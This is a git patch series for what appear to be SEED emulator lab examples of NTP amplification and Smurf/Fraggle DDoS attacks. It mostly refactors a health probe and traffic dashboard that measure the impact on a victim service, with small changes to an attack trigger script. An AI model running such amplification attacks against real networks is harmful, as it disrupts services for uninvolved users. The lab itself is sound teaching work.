totals, values From 4028e614eb80961b62827377c0f7b2df6b892ae2 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 17:07:24 +0800 Subject: [PATCH 30/33] fixed a problem --- .../Y10_ntp_amplification/README.md | 4 ++++ .../Y10_ntp_amplification/trigger_attack.py | 12 +++++++----- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index 4a249f8bd..2a48bef40 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -53,6 +53,10 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/ntp-like/trigger_attack.sh --rounds 10 --interval 0.05 ``` +The normal output is flushed after every request so progress is visible while +the attack runs. The `--json` mode instead emits one valid JSON document after +all requests finish. + The generic area displays packet and IP-byte totals, rates, and packet-flow animation. Y10's extension compares the fixed 64-byte request IP packet with the average response IP packet and displays the resulting IP-layer byte diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py index 3e19bdd51..41da2163d 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py @@ -35,7 +35,11 @@ def parse_args() -> argparse.Namespace: help="seconds between requests", ) parser.add_argument("--timeout", type=float, default=2.0) - parser.add_argument("--json", action="store_true", help="print machine-readable results") + parser.add_argument( + "--json", + action="store_true", + help="print one machine-readable result document after completion", + ) args = parser.parse_args() if args.rounds < 1: parser.error("--rounds must be at least 1") @@ -99,6 +103,8 @@ def main() -> int: result = send_direct_query(sock, amplifier, args.port, args.trigger, args.timeout) result["round"] = round_number results.append(result) + if not args.json: + print(result, flush=True) sent_count += 1 if sent_count < request_count: time.sleep(args.interval) @@ -118,10 +124,6 @@ def main() -> int: sort_keys=True, ) ) - else: - for item in results: - print(item) - return 0 if all(item["status"] in {"response", "sent"} for item in results) else 1 From 821e793b58e5e23259add510c26e5cb1b17db842 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 20:40:03 +0800 Subject: [PATCH 31/33] improve the design --- .../Y10_ntp_amplification/README.md | 9 + .../Y10_ntp_amplification/emulator.py | 5 +- .../Y10_ntp_amplification/test_runtime.py | 10 +- .../traffic_visualizer_config.json | 2 +- .../traffic_visualizer_extension.js | 5 + .../Y11_smurf_fraggle_attack/README.md | 16 +- .../Y11_smurf_fraggle_attack/emulator.py | 5 +- .../Y11_smurf_fraggle_attack/test_runtime.py | 10 +- .../traffic_visualizer_config.json | 2 +- .../traffic_visualizer_extension.js | 5 + tools/TrafficVisualizer/README.md | 45 +++- tools/TrafficVisualizer/dashboard.html | 31 ++- tools/TrafficVisualizer/health_probe.py | 220 ++++++++++++++++-- tools/TrafficVisualizer/traffic_visualizer.py | 155 +----------- 14 files changed, 313 insertions(+), 207 deletions(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index 2a48bef40..c1318696b 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -66,6 +66,8 @@ payload, the response IP packet is 1,228 bytes and the scale is approximately AS151 also runs the shared synthetic HTTP service on port `8000`. AS153 probes its latency five times per second and measures HTTP goodput every five seconds. +The probe serves its measurements on host port `8082`, and the browser fetches +them directly instead of retrieving them through the victim. The extension shows the service's health, current latency, success rate, failures, current and average goodput, and separate latency and goodput timelines. This makes it possible to compare the incoming amplified traffic @@ -73,6 +75,13 @@ with its effect on legitimate users. The extension files remain example-owned; the capture agent, HTTP service, probe, runtime controls, and base dashboard are shared in `tools/TrafficVisualizer`. +The two browser data endpoints are: + +```text +http://localhost:8081/api/stats +http://localhost:8082/api/health +``` + ### Change capacity at runtime Y10 installs the shared link controller on AS151's gateway. No limit is enabled diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py b/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py index e0646deeb..b27e6d5a5 100755 --- a/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py @@ -31,6 +31,8 @@ TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 VICTIM_LOG = "/var/log/ntp-like-victim.log" VICTIM_SERVICE_PORT = 8000 +HEALTH_PROBE_HOST_PORT = 8082 +HEALTH_PROBE_CONTAINER_PORT = 8080 def parse_args() -> argparse.Namespace: @@ -165,6 +167,7 @@ def install_legitimate_client(node: Node) -> None: node.addSoftware("python3") prepare_ntp_like_dir(node) install_traffic_visualizer_file(node, "health_probe.py") + node.addPortForwarding(HEALTH_PROBE_HOST_PORT, HEALTH_PROBE_CONTAINER_PORT) node.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/health_probe.py") node.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " @@ -172,7 +175,7 @@ def install_legitimate_client(node: Node) -> None: f"--bandwidth-url http://10.151.0.71:{VICTIM_SERVICE_PORT}/bandwidth " "--interval 0.2 --timeout 0.5 " "--bandwidth-bytes 262144 --bandwidth-interval 5 --bandwidth-timeout 3 " - f"--report-to http://10.151.0.71:{TRAFFIC_VISUALIZER_CONTAINER_PORT}/api/impact " + f"--serve-port {HEALTH_PROBE_CONTAINER_PORT} --cors-origin '*' --max-samples 300 " ">> /var/log/victim-health-probe.log 2>&1", fork=True, ) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py index 1b1023450..7f8e895f5 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py @@ -64,12 +64,14 @@ def main() -> int: interval=2, ) - if victim and legitimate_client: + if legitimate_client: test.exec_check( - "Traffic Visualizer receives latency and goodput samples", - victim, + "health probe API serves latency and goodput samples with CORS", + legitimate_client, "python3 -c \"import json,urllib.request; " - "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/impact')); " + "r=urllib.request.urlopen('http://127.0.0.1:8080/api/health'); " + "assert r.headers['Access-Control-Allow-Origin'] == '*', r.headers; " + "d=json.load(r); " "assert d['sample_count'] >= 2, d; " "assert d['bandwidth_sample_count'] >= 1, d; " "assert d['latest_throughput_mbps'] is not None, d\"", diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json index b36e8f325..1ab6dd496 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json @@ -3,7 +3,6 @@ "capture_filter": "udp and dst host 10.151.0.71 and dst port 9000", "web_host": "0.0.0.0", "web_port": 8080, - "impact_max_samples": 300, "frontend": { "title": "NTP-Like Amplification", "subtitle": "Amplified UDP responses arriving at the victim", @@ -15,6 +14,7 @@ "request_payload_bytes": 36, "request_ip_bytes": 64, "gauge_max_amplification": 20, + "health_api_port": 8082, "impact_latency_warning_ms": 150, "impact_stale_seconds": 4, "impact_chart_max_ms": 500, diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js index 9af21e173..ef753bcf0 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js @@ -39,6 +39,11 @@ } function updateImpact(impact) { + if (impact?.probe_api_error) { + showWaiting(); + setStatus('PROBE OFFLINE', 'unreachable'); + return; + } if (!impact || !impact.sample_count) { showWaiting(); return; diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 34d3a4093..a744b5386 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -21,8 +21,8 @@ reply to the spoofed victim address. - Attacker: AS150 `host_0`. - Victim: AS151 `host_0`. The default victim's address is: `10.151.0.71` -- Legitimate client: AS153 `host_0`. It probes the victim's HTTP service once - per second and reports latency and failures to Traffic Visualizer. +- Legitimate client: AS153 `host_0`. It probes the victim's HTTP service five + times per second and serves latency and goodput measurements to the frontend. - AS152 `router0`: vulnerable router with directed broadcast forwarding enabled. - AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings and run the UDP Fraggle amplifier daemon. @@ -64,8 +64,9 @@ loaded from `tools/TrafficVisualizer`. This example owns their addresses, startup wiring, capture configuration, thresholds, and a frontend extension that presents the Smurf/Fraggle-specific results. AS151 runs the independent HTTP service on port `8000`. AS153 probes its latency five times per second and -measures HTTP goodput every five seconds, then submits the results to Traffic -Visualizer. The dashboard is published +measures HTTP goodput every five seconds. The probe serves those measurements +on host port `8082`, and the browser fetches them directly instead of routing +health data through the victim. The dashboard is published on the host at the following URL. Open this address in a browser. ```text @@ -94,11 +95,12 @@ size reflect the recent traffic. The Victim Impact panel separately shows the legitimate service's current latency, recent success rate, failures, current and average goodput, and separate latency and goodput timelines. Higher cyan latency bars are worse; higher green goodput bars are better; red means a probe -failed. Its APIs are also available inside the victim container: +failed. Packet statistics come from the victim endpoint, while health data +comes from the host-forwarded probe endpoint: ```text http://127.0.0.1:8080/api/stats -http://127.0.0.1:8080/api/impact +http://localhost:8082/api/health ``` The default three-packet commands demonstrate amplification but may not consume @@ -217,7 +219,7 @@ The runtime test verifies: - the victim receives multiple UDP replies after the attacker sends spoofed UDP requests to `10.152.0.255:19`. - AS151 runs the legitimate HTTP service and AS153 runs the external probe; -- Traffic Visualizer receives health measurements from the probe. +- the probe API serves latency and goodput measurements directly to the frontend. ## Safety diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index bb2389144..c296e22aa 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -40,6 +40,8 @@ TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 FRAGGLE_PORT = 19 VICTIM_SERVICE_PORT = 8000 +HEALTH_PROBE_HOST_PORT = 8082 +HEALTH_PROBE_CONTAINER_PORT = 8080 def parse_args() -> argparse.Namespace: @@ -218,6 +220,7 @@ def configure_legitimate_client(host: Node) -> None: host.addSoftware("python3") prepare_smurf_dir(host) install_traffic_visualizer_file(host, "health_probe.py") + host.addPortForwarding(HEALTH_PROBE_HOST_PORT, HEALTH_PROBE_CONTAINER_PORT) host.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/health_probe.py") host.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " @@ -225,7 +228,7 @@ def configure_legitimate_client(host: Node) -> None: f"--bandwidth-url http://10.151.0.71:{VICTIM_SERVICE_PORT}/bandwidth " "--interval 0.2 --timeout 0.5 " "--bandwidth-bytes 262144 --bandwidth-interval 5 --bandwidth-timeout 3 " - f"--report-to http://10.151.0.71:{TRAFFIC_VISUALIZER_CONTAINER_PORT}/api/impact " + f"--serve-port {HEALTH_PROBE_CONTAINER_PORT} --cors-origin '*' --max-samples 300 " ">> /var/log/victim-health-probe.log 2>&1", fork=True, ) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py index ae095f493..cc133a55d 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py @@ -123,12 +123,14 @@ def main() -> int: interval=3, ) - if victim and legitimate_client: + if legitimate_client: test.exec_check( - "Traffic Visualizer receives legitimate-client health samples", - victim, + "health probe API serves latency and goodput samples with CORS", + legitimate_client, "python3 -c \"import json,urllib.request; " - "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/impact')); " + "r=urllib.request.urlopen('http://127.0.0.1:8080/api/health'); " + "assert r.headers['Access-Control-Allow-Origin'] == '*', r.headers; " + "d=json.load(r); " "assert d['sample_count'] >= 2, d; " "assert d['bandwidth_sample_count'] >= 1, d; " "assert d['latest_throughput_mbps'] is not None, d\"", diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json index 96dc7f9a2..ca4062176 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json @@ -3,7 +3,6 @@ "capture_filter": "src net 10.152.0.0/24 and (icmp or udp)", "web_host": "0.0.0.0", "web_port": 8080, - "impact_max_samples": 300, "frontend": { "title": "Smurf and Fraggle Attack", "subtitle": "Replies arriving at the victim from the amplifier LAN", @@ -12,6 +11,7 @@ "extension_css": "traffic_visualizer_extension.css", "options": { "amplifier_network": "AS152 / 10.152.0.0/24", + "health_api_port": 8082, "impact_latency_warning_ms": 150, "impact_stale_seconds": 4, "impact_chart_max_ms": 500, diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js index 063a2a32c..30d291922 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js @@ -35,6 +35,11 @@ } function updateImpact(impact) { + if (impact?.probe_api_error) { + showWaiting(); + setStatus('PROBE OFFLINE', 'unreachable'); + return; + } if (!impact || !impact.sample_count) { showWaiting(); return; diff --git a/tools/TrafficVisualizer/README.md b/tools/TrafficVisualizer/README.md index 246835f70..b53a86ada 100644 --- a/tools/TrafficVisualizer/README.md +++ b/tools/TrafficVisualizer/README.md @@ -72,7 +72,7 @@ use a service during an attack: - `victim_http_service.py` is a small synthetic service for examples that do not already have a suitable application to probe. - `health_probe.py` runs on a separate legitimate-client node, measures any - configured HTTP URL, and submits each result to Traffic Visualizer. + configured HTTP URL, stores a rolling history, and serves it to the browser. For example: @@ -82,7 +82,7 @@ python3 victim_http_service.py --port 8000 python3 health_probe.py \ --target http://10.151.0.71:8000/health \ --bandwidth-url http://10.151.0.71:8000/bandwidth \ - --report-to http://10.151.0.71:8080/api/impact + --serve-port 8080 --cors-origin '*' ``` The synthetic service's `/bandwidth?bytes=N` endpoint returns a bounded fixed @@ -91,6 +91,24 @@ application goodput in Mbps in addition to latency and reachability. Its `--bandwidth-bytes`, `--bandwidth-interval`, and `--bandwidth-timeout` options control the cost and frequency of that measurement. +The probe's `/api/health` endpoint returns the rolling measurement snapshot. +The example should forward the probe port to the Docker host and set +`frontend.options.health_api_port`. The shared dashboard then fetches packet +statistics from the victim and health measurements directly from the probe. +The probe includes CORS headers so those requests can use separate host ports. + +```mermaid +flowchart LR + Browser["Browser"] + Visualizer["Traffic Visualizer
victim container"] + Probe["Health probe API
legitimate-client container"] + Service["Victim HTTP service"] + + Browser -->|"GET :8081/api/stats"| Visualizer + Browser -->|"GET :8082/api/health"| Probe + Probe -->|"Latency and bandwidth probes
through emulated network"| Service +``` + The synthetic service is optional. An example with a real HTTP application can point `health_probe.py` at that application instead. Target addresses, probe intervals, warning thresholds, container placement, and frontend presentation @@ -108,10 +126,10 @@ python3 network_control.py status --subnet 10.151.0.0/24 python3 network_control.py clear --subnet 10.151.0.0/24 ``` -Because `tc` controls egress, a symmetric access-link experiment applies the -limit on the router interface facing the victim and on the victim's own -interface. `set` replaces the selected interface's root qdisc; use it only when -that interface does not contain another link policy that must be preserved. +Because `tc` controls egress, applying it to the router interface facing the +victim limits traffic entering the victim network. `set` replaces the selected +interface's root qdisc; use it only when that interface does not contain +another link policy that must be preserved. `container_control.py` runs on the Docker host and changes CPU or memory limits with `docker update`. Before the first change it saves the original limits in a @@ -131,12 +149,17 @@ through Traffic Visualizer's HTTP API. - `/` - dashboard - `/api/stats` - current packet counters - `/api/config` - frontend metadata and extension options -- `/api/impact` - current legitimate-client health measurements; accepts probe samples with `POST` - `/api/reset` - reset counters with an HTTP `POST` - `/extension.js` and `/extension.css` - optional example-owned assets - `/healthz` - capture process status -An external health probe can submit a successful measurement with: +The health probe provides these separate endpoints: + +- `/api/health` - current legitimate-client health measurements +- `/api/reset` - reset the health history with an HTTP `POST` +- `/healthz` - probe API status + +A successful health snapshot contains samples such as: ```json { @@ -148,6 +171,6 @@ An external health probe can submit a successful measurement with: } ``` -For a timeout or connection failure, it submits `{"success": false}`. The -rolling impact snapshot is included in `/api/stats`, allowing example frontend -extensions to correlate attack traffic with legitimate-service health. +For a timeout or connection failure, a sample contains `{"success": false}`. +The browser combines this probe response with the victim's `/api/stats` +response before updating the example frontend extension. diff --git a/tools/TrafficVisualizer/dashboard.html b/tools/TrafficVisualizer/dashboard.html index 8c19d18a2..7e4a5af47 100644 --- a/tools/TrafficVisualizer/dashboard.html +++ b/tools/TrafficVisualizer/dashboard.html @@ -73,6 +73,8 @@

Traffic Visualizer

let pendingMarkers = []; let extension = null; let extensionContext = null; + let healthApiUrl = ''; + let healthResetUrl = ''; window.TrafficVisualizer = { apiVersion: 1, @@ -130,10 +132,24 @@

Traffic Visualizer

} } + async function fetchHealth() { + if (!healthApiUrl) return null; + try { + const response = await fetch(healthApiUrl, {cache: 'no-store'}); + if (!response.ok) throw new Error(`HTTP ${response.status}`); + return await response.json(); + } catch (error) { + return {probe_api_error: error.message}; + } + } + async function refresh() { try { - const response = await fetch('/api/stats'); + const statsRequest = fetch('/api/stats'); + const healthRequest = fetchHealth(); + const response = await statsRequest; const stats = await response.json(); + stats.impact = await healthRequest; document.querySelector('#total').textContent = number.format(stats.total_packets); document.querySelector('#rate').textContent = number.format(stats.packets_last_second); document.querySelector('#totalBytes').textContent = formatBytes(stats.total_ip_bytes); @@ -163,6 +179,15 @@

Traffic Visualizer

const response = await fetch('/api/config'); const payload = await response.json(); const frontend = payload.frontend || {}; + const healthApiPort = Number(frontend.options?.health_api_port); + healthApiUrl = frontend.options?.health_api_url || ( + healthApiPort + ? `${window.location.protocol}//${window.location.hostname}:${healthApiPort}/api/health` + : '' + ); + healthResetUrl = frontend.options?.health_reset_url || ( + healthApiUrl ? new URL('/api/reset', healthApiUrl).href : '' + ); document.querySelector('#title').textContent = frontend.title || 'Traffic Visualizer'; document.querySelector('#subtitle').textContent = frontend.subtitle || 'Packets observed'; document.title = `${frontend.title || 'Traffic Visualizer'} | SEED`; @@ -189,7 +214,9 @@

Traffic Visualizer

} document.querySelector('#reset').addEventListener('click', async () => { - await fetch('/api/reset', {method: 'POST'}); + const resets = [fetch('/api/reset', {method: 'POST'})]; + if (healthResetUrl) resets.push(fetch(healthResetUrl, {method: 'POST'})); + await Promise.allSettled(resets); invokeExtension('reset', extensionContext); await refresh(); }); diff --git a/tools/TrafficVisualizer/health_probe.py b/tools/TrafficVisualizer/health_probe.py index d338b7b17..118ff9776 100644 --- a/tools/TrafficVisualizer/health_probe.py +++ b/tools/TrafficVisualizer/health_probe.py @@ -1,16 +1,192 @@ #!/usr/bin/env python3 -"""Probe an HTTP service externally and report its health to Traffic Visualizer.""" +"""Probe an HTTP service and expose recent measurements through a small API.""" from __future__ import annotations import argparse +from collections import deque +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json +import math from queue import Empty, SimpleQueue -from threading import Thread +import threading import time +from typing import Any from urllib.error import HTTPError, URLError from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit -from urllib.request import Request, urlopen +from urllib.request import urlopen + + +class HealthTracker: + """Store a rolling window of measurements made by this probe.""" + + def __init__(self, max_samples: int = 300) -> None: + if max_samples < 1: + raise ValueError("max_samples must be at least 1") + self.lock = threading.Lock() + self.samples: deque[dict[str, Any]] = deque(maxlen=max_samples) + + def record(self, payload: dict[str, Any]) -> None: + success = payload.get("success") + if not isinstance(success, bool): + raise ValueError("success must be a boolean") + + latency = payload.get("latency_ms") + if success: + if ( + not isinstance(latency, (int, float)) + or isinstance(latency, bool) + or not math.isfinite(latency) + or latency < 0 + ): + raise ValueError("a successful probe requires a non-negative latency_ms") + latency = round(float(latency), 2) + else: + latency = None + + bandwidth_success = payload.get("bandwidth_success") + throughput = payload.get("throughput_mbps") + downloaded_bytes = payload.get("downloaded_bytes") + if bandwidth_success is None: + throughput = None + downloaded_bytes = None + elif not isinstance(bandwidth_success, bool): + raise ValueError("bandwidth_success must be a boolean") + elif bandwidth_success: + if ( + not isinstance(throughput, (int, float)) + or isinstance(throughput, bool) + or not math.isfinite(throughput) + or throughput < 0 + ): + raise ValueError("a successful bandwidth probe requires throughput_mbps") + if ( + not isinstance(downloaded_bytes, int) + or isinstance(downloaded_bytes, bool) + or downloaded_bytes < 1 + ): + raise ValueError("a successful bandwidth probe requires positive downloaded_bytes") + throughput = round(float(throughput), 3) + else: + throughput = None + downloaded_bytes = int(downloaded_bytes or 0) + + sample = { + "timestamp_ms": round(time.time() * 1000), + "success": success, + "latency_ms": latency, + "bandwidth_success": bandwidth_success, + "throughput_mbps": throughput, + "downloaded_bytes": downloaded_bytes, + } + with self.lock: + self.samples.append(sample) + + def reset(self) -> None: + with self.lock: + self.samples.clear() + + def snapshot(self) -> dict[str, Any]: + with self.lock: + samples = list(self.samples) + + successful = [sample for sample in samples if sample["success"]] + bandwidth_samples = [ + sample for sample in samples if sample["bandwidth_success"] is not None + ] + successful_bandwidth = [ + sample for sample in bandwidth_samples if sample["bandwidth_success"] + ] + latest = samples[-1] if samples else None + latest_bandwidth = bandwidth_samples[-1] if bandwidth_samples else None + return { + "sample_count": len(samples), + "failure_count": len(samples) - len(successful), + "success_rate": round(len(successful) * 100 / len(samples), 1) if samples else 0, + "latest_success": latest["success"] if latest else None, + "latest_latency_ms": latest["latency_ms"] if latest else None, + "average_latency_ms": ( + round(sum(sample["latency_ms"] for sample in successful) / len(successful), 2) + if successful + else None + ), + "last_probe_age_seconds": ( + round(max(0, time.time() - latest["timestamp_ms"] / 1000), 2) + if latest + else None + ), + "bandwidth_sample_count": len(bandwidth_samples), + "bandwidth_failure_count": len(bandwidth_samples) - len(successful_bandwidth), + "latest_bandwidth_success": ( + latest_bandwidth["bandwidth_success"] if latest_bandwidth else None + ), + "latest_throughput_mbps": ( + latest_bandwidth["throughput_mbps"] if latest_bandwidth else None + ), + "average_throughput_mbps": ( + round( + sum(sample["throughput_mbps"] for sample in successful_bandwidth) + / len(successful_bandwidth), + 3, + ) + if successful_bandwidth + else None + ), + "last_bandwidth_age_seconds": ( + round(max(0, time.time() - latest_bandwidth["timestamp_ms"] / 1000), 2) + if latest_bandwidth + else None + ), + "samples": samples, + } + + +def make_api_server( + tracker: HealthTracker, + host: str, + port: int, + cors_origin: str, +) -> ThreadingHTTPServer: + class Handler(BaseHTTPRequestHandler): + def do_GET(self) -> None: # noqa: N802 + if self.path.split("?", 1)[0] == "/api/health": + self._send_json(200, tracker.snapshot()) + elif self.path.split("?", 1)[0] == "/healthz": + self._send_json(200, {"status": "ok"}) + else: + self._send_json(404, {"error": "not found"}) + + def do_POST(self) -> None: # noqa: N802 + if self.path.split("?", 1)[0] == "/api/reset": + tracker.reset() + self._send_json(200, {"status": "reset"}) + else: + self._send_json(404, {"error": "not found"}) + + def do_OPTIONS(self) -> None: # noqa: N802 + self.send_response(204) + self._cors_headers() + self.end_headers() + + def log_message(self, _format: str, *_args: Any) -> None: + pass + + def _send_json(self, status: int, payload: dict[str, Any]) -> None: + body = json.dumps(payload).encode("utf-8") + self.send_response(status) + self.send_header("Content-Type", "application/json; charset=utf-8") + self.send_header("Content-Length", str(len(body))) + self.send_header("Cache-Control", "no-store") + self._cors_headers() + self.end_headers() + self.wfile.write(body) + + def _cors_headers(self) -> None: + self.send_header("Access-Control-Allow-Origin", cors_origin) + self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS") + self.send_header("Access-Control-Allow-Headers", "Content-Type") + + return ThreadingHTTPServer((host, port), Handler) def measure(target: str, timeout: float) -> dict[str, object]: @@ -30,18 +206,6 @@ def measure(target: str, timeout: float) -> dict[str, object]: } -def report(destination: str, sample: dict[str, object], timeout: float) -> None: - body = json.dumps(sample).encode("utf-8") - request = Request( - destination, - data=body, - headers={"Content-Type": "application/json"}, - method="POST", - ) - with urlopen(request, timeout=timeout) as response: - response.read() - - def bandwidth_url(target: str, byte_count: int) -> str: parsed = urlsplit(target) query = dict(parse_qsl(parsed.query, keep_blank_values=True)) @@ -81,13 +245,16 @@ def measure_bandwidth(target: str, byte_count: int, timeout: float) -> dict[str, def main() -> int: parser = argparse.ArgumentParser(description="Measure access to an HTTP service.") parser.add_argument("--target", required=True, help="HTTP URL to probe") - parser.add_argument("--report-to", required=True, help="Traffic Visualizer /api/impact URL") parser.add_argument("--interval", type=float, default=1.0) parser.add_argument("--timeout", type=float, default=0.8) parser.add_argument("--bandwidth-url", help="optional HTTP bandwidth-test endpoint") parser.add_argument("--bandwidth-bytes", type=int, default=256 * 1024) parser.add_argument("--bandwidth-interval", type=float, default=5.0) parser.add_argument("--bandwidth-timeout", type=float, default=3.0) + parser.add_argument("--serve-host", default="0.0.0.0") + parser.add_argument("--serve-port", type=int, default=8080) + parser.add_argument("--cors-origin", default="*") + parser.add_argument("--max-samples", type=int, default=300) args = parser.parse_args() if args.interval <= 0 or args.timeout <= 0: parser.error("--interval and --timeout must be greater than zero") @@ -97,7 +264,18 @@ def main() -> int: or args.bandwidth_timeout <= 0 ): parser.error("bandwidth byte count, interval, and timeout must be greater than zero") + if not 1 <= args.serve_port <= 65535: + parser.error("--serve-port must be between 1 and 65535") + if args.max_samples < 1: + parser.error("--max-samples must be at least 1") + tracker = HealthTracker(args.max_samples) + server = make_api_server(tracker, args.serve_host, args.serve_port, args.cors_origin) + threading.Thread(target=server.serve_forever, daemon=True).start() + print( + f"Health probe API listening on http://{args.serve_host}:{args.serve_port}/api/health", + flush=True, + ) bandwidth_results: SimpleQueue[dict[str, object]] = SimpleQueue() next_bandwidth_probe = 0.0 bandwidth_probe_running = False @@ -127,17 +305,17 @@ def run_bandwidth_probe() -> None: and not bandwidth_probe_running and cycle_started >= next_bandwidth_probe ): - Thread(target=run_bandwidth_probe, daemon=True).start() + threading.Thread(target=run_bandwidth_probe, daemon=True).start() bandwidth_probe_running = True - try: - report(args.report_to, sample, args.timeout) - except (HTTPError, URLError, OSError, TimeoutError) as error: - print(f"could not report health sample: {error}", flush=True) + tracker.record(sample) remaining = args.interval - (time.monotonic() - cycle_started) if remaining > 0: time.sleep(remaining) except KeyboardInterrupt: pass + finally: + server.shutdown() + server.server_close() return 0 diff --git a/tools/TrafficVisualizer/traffic_visualizer.py b/tools/TrafficVisualizer/traffic_visualizer.py index 5fd590998..1446e5563 100644 --- a/tools/TrafficVisualizer/traffic_visualizer.py +++ b/tools/TrafficVisualizer/traffic_visualizer.py @@ -4,10 +4,8 @@ from __future__ import annotations import argparse -from collections import deque from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json -import math from pathlib import Path import re import subprocess @@ -82,130 +80,6 @@ def snapshot(self) -> dict[str, Any]: } -class ImpactTracker: - """Store a short rolling window of externally measured service health.""" - - def __init__(self, max_samples: int = 60) -> None: - if max_samples < 1: - raise ValueError("impact_max_samples must be at least 1") - self.lock = threading.Lock() - self.samples: deque[dict[str, Any]] = deque(maxlen=max_samples) - - def record(self, payload: dict[str, Any]) -> None: - success = payload.get("success") - if not isinstance(success, bool): - raise ValueError("success must be a boolean") - - latency = payload.get("latency_ms") - if success: - if ( - not isinstance(latency, (int, float)) - or isinstance(latency, bool) - or not math.isfinite(latency) - or latency < 0 - ): - raise ValueError("a successful probe requires a non-negative latency_ms") - latency = round(float(latency), 2) - else: - latency = None - - bandwidth_success = payload.get("bandwidth_success") - throughput = payload.get("throughput_mbps") - downloaded_bytes = payload.get("downloaded_bytes") - if bandwidth_success is None: - throughput = None - downloaded_bytes = None - elif not isinstance(bandwidth_success, bool): - raise ValueError("bandwidth_success must be a boolean") - elif bandwidth_success: - if ( - not isinstance(throughput, (int, float)) - or isinstance(throughput, bool) - or not math.isfinite(throughput) - or throughput < 0 - ): - raise ValueError("a successful bandwidth probe requires throughput_mbps") - if ( - not isinstance(downloaded_bytes, int) - or isinstance(downloaded_bytes, bool) - or downloaded_bytes < 1 - ): - raise ValueError("a successful bandwidth probe requires positive downloaded_bytes") - throughput = round(float(throughput), 3) - else: - throughput = None - downloaded_bytes = int(downloaded_bytes or 0) - - sample = { - "timestamp_ms": round(time.time() * 1000), - "success": success, - "latency_ms": latency, - "bandwidth_success": bandwidth_success, - "throughput_mbps": throughput, - "downloaded_bytes": downloaded_bytes, - } - with self.lock: - self.samples.append(sample) - - def reset(self) -> None: - with self.lock: - self.samples.clear() - - def snapshot(self) -> dict[str, Any]: - with self.lock: - samples = list(self.samples) - - successful = [sample for sample in samples if sample["success"]] - bandwidth_samples = [ - sample for sample in samples if sample["bandwidth_success"] is not None - ] - successful_bandwidth = [ - sample for sample in bandwidth_samples if sample["bandwidth_success"] - ] - latest = samples[-1] if samples else None 